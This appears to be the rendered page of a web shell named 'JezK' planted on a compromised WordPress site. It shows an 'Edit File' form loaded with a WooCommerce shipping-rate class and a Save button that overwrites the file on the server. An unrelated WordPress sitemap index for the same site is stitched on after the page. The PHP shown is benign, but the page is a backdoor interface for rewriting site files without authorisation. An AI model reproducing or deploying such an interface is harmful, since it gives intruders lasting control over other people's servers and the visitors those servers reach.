
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: LocationRatesProcessor.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
declare( strict_types=1 );

namespace Automattic\WooCommerce\GoogleListingsAndAds\Shipping;

defined( &#039;ABSPATH&#039; ) || exit;

/**
 * Class LocationRatesProcessor
 *
 * @package Automattic\WooCommerce\GoogleListingsAndAds\Shipping
 *
 * @since 2.1.0
 */
class LocationRatesProcessor {

	/**
	 * Process the shipping rates data for output.
	 *
	 * @param LocationRate[] $location_rates Array of shipping rates belonging to a specific location.
	 *
	 * @return LocationRate[] Array of processed location rates.
	 */
	public function process( array $location_rates ): array {
		/** @var LocationRate[] $grouped_rates */
		$grouped_rates = [];
		foreach ( $location_rates as $location_rate ) {
			$shipping_rate = $location_rate-&gt;get_shipping_rate();

			$type = &#039;flat_rate&#039;;
			// If there are conditional free shipping rates, we need to group and compare them together.
			if ( $shipping_rate-&gt;is_free() &amp;&amp; $shipping_rate-&gt;has_min_order_amount() ) {
				$type = &#039;conditional_free&#039;;
			}

			// Append the shipping class names to the type key to group and compare the class rates together.
			$classes = ! empty( $shipping_rate-&gt;get_applicable_classes() ) ? join( &#039;,&#039;, $shipping_rate-&gt;get_applicable_classes() ) : &#039;&#039;;
			$type   .= $classes;

			if ( ! isset( $grouped_rates[ $type ] ) || $this-&gt;should_rate_be_replaced( $shipping_rate, $grouped_rates[ $type ]-&gt;get_shipping_rate() ) ) {
				$grouped_rates[ $type ] = $location_rate;
			}
		}

		// Ignore the conditional free rate if there are no flat rate or if the existing flat rate is free.
		if ( ! isset( $grouped_rates[&#039;flat_rate&#039;] ) || $grouped_rates[&#039;flat_rate&#039;]-&gt;get_shipping_rate()-&gt;is_free() ) {
			unset( $grouped_rates[&#039;conditional_free&#039;] );
		}

		return array_values( $grouped_rates );
	}

	/**
	 * Checks whether the existing shipping rate should be replaced with a more suitable one. Used when grouping the rates.
	 *
	 * @param ShippingRate $new_rate
	 * @param ShippingRate $existing_rate
	 *
	 * @return bool
	 */
	protected function should_rate_be_replaced( ShippingRate $new_rate, ShippingRate $existing_rate ): bool {
		return $new_rate-&gt;get_rate() &gt; $existing_rate-&gt;get_rate() ||
			(float) $new_rate-&gt;get_min_order_amount() &gt; (float) $existing_rate-&gt;get_min_order_amount();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
